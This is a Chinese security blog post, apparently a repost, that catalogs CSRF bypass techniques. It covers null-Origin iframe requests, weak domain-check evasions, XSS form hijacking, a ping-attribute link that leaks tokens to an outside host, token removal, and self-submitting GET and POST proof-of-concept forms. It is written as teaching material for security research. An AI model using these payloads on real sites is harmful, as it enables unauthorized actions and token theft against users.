CSRF的绕过与利用

admin 2024年12月24日13:40:46评论8 views字数 1850阅读6分10秒阅读模式

目录

  1. Origin & Referer Bypass
    1. Null值绕过
    2. 域名校验绕过
    3. 配合XSS进行利用
      1. 获取表单中的token
      2. 获取url参数中的token
    4. 配合URL跳转漏洞
  2. X-Request-with Bypass
  3. Token Bypass
  4. CSRF POC 构造
    1. GET - CSRF
    2. POST - CSRF
  5. 参考 & 备份

Origin & Referer Bypass

Null值绕过

当遇到一个cors可用null值绕过时,用iframe配合data协议,就可以发送一个origin为null的请求。这个绕过方式同样也可以用在CSRF这里。

1
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>var req=new XMLHttpRequest();req.onload=reqListener;req.open("get","http://127.0.0.1/test.html",true);req.withCredentials=true;req.send();function reqListener(){alert(this.responseText)};</script>'></iframe>

域名校验绕过

当域名校验不是特别严格时,可以通过以下几种方式进行绕过:

  • 在后面加域名 qq.com => qq.com.abc.com
  • 将域名拼接 abc.qq.com => abc_qq.com
  • 在前面或者在后面加字符 qq.com => abcqq.com / qq.com => qq.comabc.com / qq.com => abc.com/qq.com

配合XSS进行利用

当同源网站中存在一个xss漏洞时,就可以直接使用xss包含CSRF的payload进行利用。不仅可以绕过简单的Referer和Origin验证,还可以劫持表单与URL中的token进行利用。

获取表单中的token

当token存在于表单中时,可以配合XSS漏洞进行表单劫持进而让token的限制。

  • xss劫持页面中某个表单的提交

像这个就可以劫持user-edit表单的提交,点击即可提交form表单。

1
<input type="submit" form="user-edit" value="hijack">

这个就相当于劫持了user-edit表单然后进行提交

  • xss劫持页面表单并修改value
1
2
3
<input type="text" form="user-edit" name="notes" value="This is a test">
<input type="text" form="user-edit" name="secert" value="on">
<input type="submit" form="user-edit" value="hijack">

劫持user-edit表单,覆盖各表单的value,进行CSRF利用。

获取url参数中的token

1
2
<a href="https://evil7.cn">get_token</a>
<a href="https://xz.aliyun.com/" ping="https://evil7.cn">ping_leak</a>

参考:魔法才能打败魔法:关于获取csrf-token前端技巧思考

配合URL跳转漏洞

如果是GET形式的CSRF,配合URL跳转漏洞,即可Origin和Referer的限制。

X-Request-with Bypass

使用swf进行绕过:https://github.com/Qclover/CSRF

Token Bypass

  • 删除Token参数字段
  • 将Token参数值置空

CSRF POC 构造

GET - CSRF

1
<img src=http://xxxx.org/csrf.php?xx=11 />

POST - CSRF

可以直接使用Brupsuite生成CSRF POC,也可以自己构造

1
2
3
4
<form action=http://aaaaaa.org/csrf.php method=POST>
<input type="text" name="xx" value="11" />
</form>
<script> document.forms[0].submit(); </script>

参考 & 备份

- By:threezh1.com

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月24日13:40:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CSRF的绕过与利用https://cn-sec.com/archives/3547369.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息